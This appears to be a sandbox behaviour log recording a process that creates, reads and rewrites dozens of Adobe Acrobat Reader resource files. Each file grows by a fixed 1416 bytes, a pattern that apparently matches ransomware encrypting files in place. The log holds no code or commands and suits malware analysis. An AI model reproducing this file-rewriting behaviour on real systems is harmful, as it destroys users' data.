File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es.gif, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pt-br\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pt-br\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pt-br\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-cn\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-cn\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-cn\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\es-es\ui-strings.js, size = 1122, size_out = 1122	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\es-es\ui-strings.js, size = 2538	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ui-strings.js, size = 984, size_out = 984	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ui-strings.js, size = 2400	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-ae\ui-strings.js, size = 903, size_out = 903	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-ae\ui-strings.js, size = 2319	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ja-jp\ui-strings.js, size = 905, size_out = 905	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ja-jp\ui-strings.js, size = 2321	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sl-si\ui-strings.js, size = 917, size_out = 917	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sl-si\ui-strings.js, size = 2333	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main.css, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main.css, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ko_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ko_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ko_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ko_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\appstore.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\appstore.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\appstore.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\appstore.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\appstore.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\da_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\da_get.svg, size = 5404, size_out = 5404	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\da_get.svg, size = 6820	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\id_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\id_get.svg, size = 5728, size_out = 5728	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\id_get.svg, size = 7144	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt-br_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt-br_get.svg, size = 6735, size_out = 6735	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt-br_get.svg, size = 8151	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-cn_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-cn_get.svg, size = 7422, size_out = 7422	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-cn_get.svg, size = 8838	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\es-es\ui-strings.js, size = 1445, size_out = 1445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\es-es\ui-strings.js, size = 2861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\nb-no\ui-strings.js, size = 1455, size_out = 1455	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\nb-no\ui-strings.js, size = 2871	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\tr-tr\ui-strings.js, size = 1506, size_out = 1506	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\tr-tr\ui-strings.js, size = 2922	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\cloud_secured_lg.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\cloud_secured_lg.png, size = 7344, size_out = 7344	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\cloud_secured_lg.png, size = 8760	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ca-es\ui-strings.js, size = 7083, size_out = 7083	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ca-es\ui-strings.js, size = 8499	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-fr\ui-strings.js, size = 7259, size_out = 7259	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-fr\ui-strings.js, size = 8675	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\pl-pl\ui-strings.js, size = 6838, size_out = 6838	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\pl-pl\ui-strings.js, size = 8254	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ui-strings.js, size = 1215, size_out = 1215	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ui-strings.js, size = 2631	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\download-btn.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\download-btn.png, size = 1128, size_out = 1128	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\download-btn.png, size = 2544	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\illustrations.png, size = 3395, size_out = 3395	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\illustrations.png, size = 4811	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\file_info2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\file_info2x.png, size = 666, size_out = 666	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\file_info2x.png, size = 2082	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png, size = 2671, size_out = 2671	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png, size = 4087	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\bun.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\bun.png, size = 2671, size_out = 2671	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\bun.png, size = 4087	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\plugin.js, size = 32768, size_out = 32768	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\plugin.js, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\plugin.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\plugin.js, size = 32768	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\eu-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\eu-es\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\eu-es\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nl-nl\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nl-nl\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nl-nl\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ui-strings.js, size = 1105, size_out = 1105	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ui-strings.js, size = 2521	1	Fn
